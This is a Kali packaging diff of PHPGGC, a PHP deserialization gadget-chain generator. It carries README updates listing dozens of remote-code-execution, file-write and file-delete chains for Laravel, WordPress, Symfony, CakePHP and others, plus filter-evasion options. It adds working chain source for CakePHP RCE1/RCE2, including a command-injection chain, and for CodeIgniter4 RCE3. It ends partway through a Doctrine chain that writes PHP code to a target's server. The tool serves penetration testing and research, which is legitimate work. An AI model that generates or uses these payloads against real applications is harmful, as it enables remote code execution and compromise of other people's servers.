New upstream snapshot.
Kali Janitor
1 year, 7 months ago
7 | 7 | ## Requirements |
8 | 8 | |
9 | 9 | PHP >= 5.6 is required to run PHPGGC. |
10 | PHP 8 is not yet supported. | |
11 | 10 | |
12 | 11 | |
13 | 12 | ## Usage |
20 | 19 | Gadget Chains |
21 | 20 | ------------- |
22 | 21 | |
23 | NAME VERSION TYPE VECTOR I | |
24 | CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct | |
25 | CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct | |
26 | Doctrine/FW1 ? File write __toString * | |
27 | Drupal7/FD1 7.0 < ? File delete __destruct * | |
28 | Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * | |
29 | Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct | |
30 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
31 | Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * | |
32 | Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * | |
33 | Laminas/FD1 <= 2.11.2 File delete __destruct | |
34 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
35 | Laravel/RCE2 5.5.39 RCE (Function call) __destruct | |
36 | Laravel/RCE3 5.5.39 RCE (Function call) __destruct * | |
37 | Laravel/RCE4 5.5.39 RCE (Function call) __destruct | |
38 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
39 | Laravel/RCE6 5.5.* RCE (PHP code) __destruct * | |
40 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
41 | Magento/FW1 ? <= 1.9.4.0 File write __destruct * | |
42 | Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct | |
43 | Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct | |
44 | Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct | |
45 | Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct | |
46 | Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * | |
47 | Phalcon/RCE1 <= 1.2.2 RCE __wakeup * | |
48 | PHPCSFixer/FD1 <= 2.17.3 File delete __destruct | |
49 | PHPCSFixer/FD2 <= 2.17.3 File delete __destruct | |
50 | PHPExcel/FD1 1.8.2+ File delete __destruct | |
51 | PHPExcel/FD2 <= 1.8.1 File delete __destruct | |
52 | PHPExcel/FD3 1.8.2+ File delete __destruct | |
53 | PHPExcel/FD4 <= 1.8.1 File delete __destruct | |
54 | Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString | |
55 | Slim/RCE1 3.8.1 RCE (Function call) __toString | |
56 | Smarty/FD1 ? File delete __destruct | |
57 | Smarty/SSRF1 ? SSRF __destruct * | |
58 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct | |
59 | SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString | |
60 | SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString | |
61 | SwiftMailer/FW3 5.0.1 File write __toString | |
62 | SwiftMailer/FW4 4.0.0 <= ? File write __destruct | |
63 | Symfony/FW1 2.5.2 File write DebugImport * | |
64 | Symfony/FW2 3.4 File write __destruct | |
65 | Symfony/RCE1 3.3 RCE (Command) __destruct * | |
66 | Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * | |
67 | Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * | |
68 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * | |
69 | TCPDF/FD1 <= 6.3.5 File delete __destruct * | |
70 | ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * | |
71 | WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * | |
72 | WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * | |
73 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * | |
74 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * | |
75 | WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
76 | WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
77 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * | |
78 | WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * | |
79 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * | |
80 | WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * | |
81 | WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * | |
82 | WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
83 | WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
84 | WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
85 | WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
86 | Yii/RCE1 1.1.20 RCE (Function call) __wakeup * | |
87 | Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * | |
88 | Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * | |
89 | ZendFramework/FD1 ? <= 1.12.20 File delete __destruct | |
90 | ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * | |
91 | ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * | |
92 | ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct | |
93 | ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * | |
94 | ||
22 | NAME VERSION TYPE VECTOR I | |
23 | CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct | |
24 | CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct | |
25 | CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct | |
26 | CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct | |
27 | CodeIgniter4/RCE3 -4.1.3+ RCE (Function call) __destruct | |
28 | Doctrine/FW1 ? File write __toString * | |
29 | Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * | |
30 | Dompdf/FD1 1.1.1 <= ? File delete __destruct * | |
31 | Dompdf/FD2 ? < 1.1.1 File delete __destruct * | |
32 | Drupal7/FD1 7.0 < ? File delete __destruct * | |
33 | Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * | |
34 | Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct | |
35 | Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * | |
36 | Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * | |
37 | Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * | |
38 | Kohana/FR1 3.* File read __toString * | |
39 | Laminas/FD1 <= 2.11.2 File delete __destruct | |
40 | Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * | |
41 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
42 | Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString | |
43 | Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
44 | Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * | |
45 | Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
46 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
47 | Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * | |
48 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
49 | Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * | |
50 | Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct | |
51 | Magento/FW1 ? <= 1.9.4.0 File write __destruct * | |
52 | Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct | |
53 | Magento2/FD1 * File delete __destruct * | |
54 | Monolog/FW1 3.0.0 <= 3.1.0+ File write __destruct * | |
55 | Monolog/RCE1 1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+ RCE (Function call) __destruct | |
56 | Monolog/RCE2 1.4.1 <= 2.7.0+ RCE (Function call) __destruct | |
57 | Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct | |
58 | Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * | |
59 | Monolog/RCE5 1.25 <= 2.7.0+ RCE (Function call) __destruct | |
60 | Monolog/RCE6 1.10.0 <= 2.7.0+ RCE (Function call) __destruct | |
61 | Monolog/RCE7 1.10.0 <= 2.7.0+ RCE (Function call) __destruct * | |
62 | Monolog/RCE8 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * | |
63 | Monolog/RCE9 3.0.0 <= 3.1.0+ RCE (Function call) __destruct * | |
64 | Phalcon/RCE1 <= 1.2.2 RCE __wakeup * | |
65 | PHPCSFixer/FD1 <= 2.17.3 File delete __destruct | |
66 | PHPCSFixer/FD2 <= 2.17.3 File delete __destruct | |
67 | PHPExcel/FD1 1.8.2+ File delete __destruct | |
68 | PHPExcel/FD2 <= 1.8.1 File delete __destruct | |
69 | PHPExcel/FD3 1.8.2+ File delete __destruct | |
70 | PHPExcel/FD4 <= 1.8.1 File delete __destruct | |
71 | PHPSecLib/RCE1 2.0.0 <= 2.0.34 RCE (PHP code) __destruct * | |
72 | Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString | |
73 | Slim/RCE1 3.8.1 RCE (Function call) __toString | |
74 | Smarty/FD1 ? File delete __destruct | |
75 | Smarty/SSRF1 ? SSRF __destruct * | |
76 | SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct | |
77 | SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString | |
78 | SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString | |
79 | SwiftMailer/FW3 5.0.1 File write __toString | |
80 | SwiftMailer/FW4 4.0.0 <= ? File write __destruct | |
81 | Symfony/FW1 2.5.2 File write DebugImport * | |
82 | Symfony/FW2 3.4 File write __destruct | |
83 | Symfony/RCE1 3.3 RCE (Command) __destruct * | |
84 | Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * | |
85 | Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * | |
86 | Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * | |
87 | Symfony/RCE5 5.2.* RCE (Function call) __destruct | |
88 | TCPDF/FD1 <= 6.3.5 File delete __destruct * | |
89 | ThinkPHP/FW1 5.0.4-5.0.24 File write __destruct * | |
90 | ThinkPHP/FW2 5.0.0-5.0.03 File write __destruct * | |
91 | ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * | |
92 | ThinkPHP/RCE2 5.0.24 RCE (Function call) __destruct * | |
93 | Typo3/FD1 4.5.35 <= 10.4.1 File delete __destruct * | |
94 | WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * | |
95 | WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * | |
96 | WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * | |
97 | WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * | |
98 | WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
99 | WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * | |
100 | WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * | |
101 | WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * | |
102 | WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * | |
103 | WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * | |
104 | WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * | |
105 | WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
106 | WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
107 | WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * | |
108 | WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * | |
109 | Yii/RCE1 1.1.20 RCE (Function call) __wakeup * | |
110 | Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * | |
111 | Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * | |
112 | ZendFramework/FD1 ? <= 1.12.20 File delete __destruct | |
113 | ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * | |
114 | ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * | |
115 | ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct | |
116 | ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * | |
95 | 117 | ``` |
96 | 118 | |
97 | 119 | Filter gadget chains: |
102 | 124 | Gadget Chains |
103 | 125 | ------------- |
104 | 126 | |
105 | NAME VERSION TYPE VECTOR I | |
106 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
107 | Laravel/RCE2 5.5.39 RCE (Function call) __destruct | |
108 | Laravel/RCE3 5.5.39 RCE (Function call) __destruct * | |
109 | Laravel/RCE4 5.5.39 RCE (Function call) __destruct | |
110 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
111 | Laravel/RCE6 5.5.* RCE (PHP code) __destruct * | |
112 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
127 | NAME VERSION TYPE VECTOR I | |
128 | Laravel/RCE1 5.4.27 RCE (Function call) __destruct | |
129 | Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString | |
130 | Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
131 | Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct * | |
132 | Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct | |
133 | Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * | |
134 | Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct * | |
135 | Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * | |
136 | Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct * | |
137 | Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct | |
113 | 138 | |
114 | 139 | ``` |
115 | 140 | |
156 | 181 | |
157 | 182 | The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions: |
158 | 183 | |
159 | - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters | |
160 | - `process_object($object)`: Called right **before** `serialize()`, allows to change the object | |
161 | - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string | |
184 | - `process_parameters(array $parameters)`: Called right **before** `generate()`, allows to change parameters | |
185 | - `process_object(object $object)`: Called right **before** `serialize()`, allows to change the object | |
186 | - `process_serialized(string $serialized)`: Called right **after** `serialize()`, allows to change the serialized string | |
162 | 187 | |
163 | 188 | For instance, if the vulnerable code looks like this: |
164 | 189 | |
233 | 258 | |
234 | 259 | ### ASCII Strings |
235 | 260 | |
236 | Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII value to an hexadecimal representation: | |
261 | Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation: | |
237 | 262 | `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"A\00B\09\0D";` |
238 | 263 | This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. |
239 | 264 | *Note: this is experimental and it might not work in some cases.* |
240 | 265 | |
266 | ### Armor Strings | |
267 | ||
268 | Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation: | |
269 | `s:5:"A<null_byte>B<cr><lf>";̀` -> `S:5:"\41\00\42\09\0D";` | |
270 | This comes handy when a firewall or PHP code blocks strings. | |
271 | *Note: this is experimental and it might not work in some cases.* | |
272 | *Note: this makes each string in the payload grow by a factor of 3.* | |
273 | ||
241 | 274 | ### Plus Numbers |
242 | 275 | |
243 | 276 | Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers <types>`, or `-n <types>`, to automatically add these `+` signs in front of symbols. |
244 | For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only i and d (float) types can have a +. | |
245 | ||
277 | For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`. | |
278 | ||
279 | ### Testing your chain | |
280 | ||
281 | To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option. | |
282 | ||
283 | For instance, to test if `Monolog/RCE2` works on Symfony `4.x`: | |
284 | ||
285 | ``` | |
286 | $ composer create-project symfony/website-skeleton=4.x some_symfony | |
287 | $ cd some_symfony | |
288 | $ phpggc monolog/rce2 --test-payload | |
289 | Trying to deserialize payload... | |
290 | SUCCESS: Payload triggered ! | |
291 | ``` | |
292 | ||
293 | The exit code will be `0` if the payload triggered, `1` otherwise. | |
294 | ||
295 | ### Testing your chain against every version of a package | |
296 | ||
297 | If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`. | |
298 | ||
299 | ``` | |
300 | $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 | |
301 | Testing 59 versions for monolog/monolog against 2 gadget chains. | |
302 | ||
303 | ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ | |
304 | ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ | |
305 | ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ | |
306 | │ 2.x-dev │ OK │ OK │ KO │ | |
307 | │ 2.3.0 │ OK │ OK │ KO │ | |
308 | │ 2.2.0 │ OK │ OK │ KO │ | |
309 | │ 2.1.1 │ OK │ OK │ KO │ | |
310 | │ 2.1.0 │ OK │ OK │ KO │ | |
311 | │ 2.0.2 │ OK │ OK │ KO │ | |
312 | │ 2.0.1 │ OK │ OK │ KO │ | |
313 | │ 2.0.0 │ OK │ OK │ KO │ | |
314 | │ 2.0.0-beta2 │ OK │ OK │ KO │ | |
315 | │ 2.0.0-beta1 │ OK │ OK │ KO │ | |
316 | │ 1.x-dev │ OK │ OK │ KO │ | |
317 | │ 1.26.1 │ OK │ OK │ KO │ | |
318 | │ 1.26.0 │ OK │ OK │ KO │ | |
319 | │ 1.25.5 │ OK │ OK │ KO │ | |
320 | │ 1.25.4 │ OK │ OK │ KO │ | |
321 | ... | |
322 | │ 1.0.1 │ OK │ KO │ KO │ | |
323 | │ 1.0.0 │ OK │ KO │ KO │ | |
324 | │ 1.0.0-RC1 │ OK │ KO │ KO │ | |
325 | │ dev-main │ OK │ OK │ KO │ | |
326 | │ * dev-phpstan │ OK │ OK │ KO │ | |
327 | └─────────────────┴─────────┴──────────────┴──────────────┘ | |
328 | ``` | |
246 | 329 | |
247 | 330 | # API |
248 | 331 | |
292 | 375 | |
293 | 376 | - `__destruct()` is always the best vector |
294 | 377 | - Specify at least the version of the library you've built the payload on |
295 | - Refrain from using references unless it is necessary or drastically reduces the size of the payload. If the payload is modified by hand afterwards, this might cause problems. | |
296 | 378 | - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. |
379 | - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation. | |
297 | 380 | |
298 | 381 | Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. |
299 | 382 | You can define pre- and post- processing methods, if parameters need to be modified. |
304 | 387 | For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain. |
305 | 388 | |
306 | 389 | |
307 | ||
308 | ## Docker | |
390 | # Docker | |
309 | 391 | |
310 | 392 | If you don't want to install PHP, you can use `docker build`. |
311 | 393 |
0 | phpggc (0.20210218+git20220627.1.7df3764-0kali1) UNRELEASED; urgency=low | |
1 | ||
2 | * New upstream snapshot. | |
3 | ||
4 | -- Kali Janitor <[email protected]> Tue, 27 Sep 2022 21:17:05 -0000 | |
5 | ||
0 | 6 | phpggc (0.20210218-0kali1) kali-dev; urgency=medium |
1 | 7 | |
2 | 8 | * Configure debian/watch to track git master |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CakePHP; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\Command | |
5 | { | |
6 | public static $version = '? <= 3.9.6'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'MoonBack'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $command = $parameters['command']; | |
13 | ||
14 | return new \Symfony\Component\Process\Process($command); | |
15 | } | |
16 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Process | |
3 | { | |
4 | use Cake\ORM\Table; | |
5 | ||
6 | class Process | |
7 | { | |
8 | private $options; | |
9 | private $processPipes; | |
10 | private $status; | |
11 | private $process; | |
12 | ||
13 | public function __construct($cmd) | |
14 | { | |
15 | $this->options['create_new_console'] = 0; | |
16 | $this->processPipes = new Table($cmd); | |
17 | $this->status = "started"; | |
18 | $this->process = 1; | |
19 | } | |
20 | } | |
21 | } | |
22 | ||
23 | namespace Cake\ORM | |
24 | { | |
25 | use Cake\Shell\ServerShell; | |
26 | ||
27 | class Table | |
28 | { | |
29 | protected $_behaviors; | |
30 | ||
31 | public function __construct($cmd) | |
32 | { | |
33 | $this->_behaviors = new BehaviorRegistry($cmd); | |
34 | } | |
35 | } | |
36 | ||
37 | class BehaviorRegistry | |
38 | { | |
39 | protected $_methodMap; | |
40 | protected $_loaded; | |
41 | ||
42 | public function __construct($cmd) | |
43 | { | |
44 | $this->_methodMap = ['readandwrite' => ['mb', 'main']]; | |
45 | $this->_loaded = ['mb' => new ServerShell($cmd)]; | |
46 | } | |
47 | } | |
48 | } | |
49 | ||
50 | namespace Cake\Shell | |
51 | { | |
52 | use Cake\Console\ConsoleIo; | |
53 | ||
54 | class ServerShell | |
55 | { | |
56 | protected $_host; | |
57 | protected $_port; | |
58 | protected $_documentRoot; | |
59 | protected $_io; | |
60 | ||
61 | public function __construct($cmd) | |
62 | { | |
63 | $this->_host = '& ' . $cmd . ' &'; // command injection | |
64 | $this->_port = ''; | |
65 | $this->_documentRoot = ''; | |
66 | $this->_io = new ConsoleIo(); | |
67 | } | |
68 | } | |
69 | } | |
70 | ||
71 | namespace Cake\Console | |
72 | { | |
73 | class ConsoleIo | |
74 | { | |
75 | protected $_out; | |
76 | ||
77 | public function __construct() | |
78 | { | |
79 | $this->_level = -100; | |
80 | } | |
81 | } | |
82 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CakePHP; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '? <= 4.2.3'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'MoonBack'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \Symfony\Component\Process\Process($function, $parameter); | |
16 | } | |
17 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Symfony\Component\Process | |
3 | { | |
4 | use Cake\ORM\Table; | |
5 | ||
6 | class Process | |
7 | { | |
8 | private $options; | |
9 | private $processPipes; | |
10 | private $status; | |
11 | private $process; | |
12 | ||
13 | public function __construct($func, $args){ | |
14 | $this->options['create_new_console'] = 0; | |
15 | $this->processPipes = new Table($func, $args); | |
16 | $this->status = "started"; | |
17 | $this->process = 1; | |
18 | } | |
19 | } | |
20 | } | |
21 | ||
22 | ||
23 | namespace Cake\ORM | |
24 | { | |
25 | use Cake\Database\Statement\CallbackStatement; | |
26 | ||
27 | class Table | |
28 | { | |
29 | protected $_behaviors; | |
30 | ||
31 | public function __construct($func,$args) | |
32 | { | |
33 | $this->_behaviors = new BehaviorRegistry($func, $args); | |
34 | } | |
35 | } | |
36 | ||
37 | class BehaviorRegistry | |
38 | { | |
39 | protected $_methodMap; | |
40 | protected $_loaded; | |
41 | ||
42 | public function __construct($func, $args) | |
43 | { | |
44 | $this->_methodMap = ['readandwrite' => ['mb','fetch']]; | |
45 | $this->_loaded = ['mb' => new CallbackStatement($func, $args)]; | |
46 | } | |
47 | } | |
48 | } | |
49 | ||
50 | namespace Cake\Database\Statement | |
51 | { | |
52 | class CallbackStatement | |
53 | { | |
54 | protected $_callback; | |
55 | protected $_statement; | |
56 | ||
57 | public function __construct($func, $args) | |
58 | { | |
59 | $this->_callback = $func; | |
60 | $this->_statement = new BufferedStatement($args); | |
61 | } | |
62 | } | |
63 | ||
64 | class BufferedStatement | |
65 | { | |
66 | protected $_allFetched; | |
67 | protected $buffer; | |
68 | protected $index; | |
69 | ||
70 | public function __construct($args) | |
71 | { | |
72 | $this->_allFetched = 1; | |
73 | $this->buffer = [$args]; | |
74 | $this->index = 0; | |
75 | } | |
76 | } | |
77 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\CodeIgniter4; | |
3 | ||
4 | class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '-4.1.3+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Firebasky'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter); | |
16 | } | |
17 | } |
0 | <?php | |
1 | ||
2 | namespace Faker | |
3 | { | |
4 | class DefaultGenerator | |
5 | { | |
6 | protected $default; | |
7 | ||
8 | public function __construct($cmd) | |
9 | { | |
10 | $this->default = $cmd; //open /System/Applications/Calculator.app | |
11 | } | |
12 | } | |
13 | } | |
14 | ||
15 | namespace Faker | |
16 | { | |
17 | class ValidGenerator | |
18 | { | |
19 | protected $generator; | |
20 | protected $validator; | |
21 | protected $maxRetries; | |
22 | ||
23 | public function __construct($generator, $func) | |
24 | { | |
25 | $this->maxRetries = 1; //执行次数 | |
26 | $this->validator = $func; | |
27 | $this->generator = $generator; | |
28 | } | |
29 | } | |
30 | } | |
31 | ||
32 | namespace CodeIgniter\Session\Handlers | |
33 | { | |
34 | class MemcachedHandler | |
35 | { | |
36 | public $lockKey = "Firebasky"; | |
37 | public $memcached; | |
38 | ||
39 | public function __construct($memcached) | |
40 | { | |
41 | $this->memcached = $memcached; | |
42 | } | |
43 | } | |
44 | } | |
45 | ||
46 | namespace CodeIgniter\Cache\Handlers | |
47 | { | |
48 | class RedisHandler | |
49 | { | |
50 | public $redis; | |
51 | ||
52 | public function __construct($func, $param) | |
53 | { | |
54 | $this->redis = | |
55 | new \CodeIgniter\Session\Handlers\MemcachedHandler( | |
56 | new \Faker\ValidGenerator((new \Faker\DefaultGenerator($param)), $func) | |
57 | ); | |
58 | } | |
59 | } | |
60 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Doctrine; | |
3 | ||
4 | class FW2 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'crlf'; | |
9 | public static $information = 'Creates a side directory "8a" in the same directory as your file.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $writablePath = dirname($parameters['remote_path']); | |
14 | $fileName = basename($parameters['remote_path']); | |
15 | $phpCode = file_get_contents($parameters['local_path']); | |
16 | ||
17 | return [ | |
18 | new \Doctrine\Common\Cache\Psr6\CacheAdapter( | |
19 | new \Doctrine\Common\Cache\Psr6\CacheItem(0), | |
20 | new \Doctrine\Common\Cache\FilesystemCache( | |
21 | '/'.str_repeat('x', 300), $writablePath | |
22 | ) | |
23 | ), | |
24 | new \Doctrine\Common\Cache\Psr6\CacheAdapter( | |
25 | new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode), | |
26 | new \Doctrine\Common\Cache\FilesystemCache( | |
27 | '/../../' . $fileName, $writablePath | |
